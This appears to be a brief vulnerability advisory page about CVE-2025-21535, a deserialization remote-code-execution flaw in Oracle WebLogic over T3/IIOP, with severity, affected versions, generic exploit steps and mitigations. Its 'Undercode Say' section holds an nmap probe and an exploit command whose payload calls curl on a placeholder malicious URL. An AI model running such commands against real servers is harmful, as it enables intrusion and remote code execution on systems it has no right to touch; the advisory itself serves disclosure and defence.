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How the CVE Works
CVE-2025-21535 is a critical vulnerability in Oracle WebLogic Server (versions 12.2.1.4.0 and 14.1.1.0.0) affecting the Core component. An unauthenticated attacker can exploit it via the T3 or IIOP protocols to achieve remote code execution (RCE). The flaw arises from improper deserialization of untrusted data, allowing malicious payloads to bypass security controls. Attackers sending crafted T3/IIOP requests can execute arbitrary code with full system privileges, leading to complete server compromise. The CVSS 3.1 score of 9.8 reflects its low attack complexity, network-based exploitability, and impacts on confidentiality, integrity, and availability.
DailyCVE Form
Platform: Oracle WebLogic
Version: 12.2.1.4.0, 14.1.1.0.0
Vulnerability: RCE
Severity: Critical
Date: 06/23/2025
Prediction: Patch by 07/15/2025
What Undercode Say
nmap -p 7001 --script weblogic-t3-info <target> python3 exploit.py --target <IP> --port 7001 --payload "curl <malicious_url>"
How Exploit
- Craft malicious T3/IIOP serialized object.
- Send payload to WebLogic Server port (7001 default).
- Trigger deserialization for RCE.
Protection from this CVE
- Disable T3/IIOP if unused.
- Apply Oracle patches immediately.
- Use network segmentation.
Impact
- Full server compromise.
- Data exfiltration.
- Service disruption.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
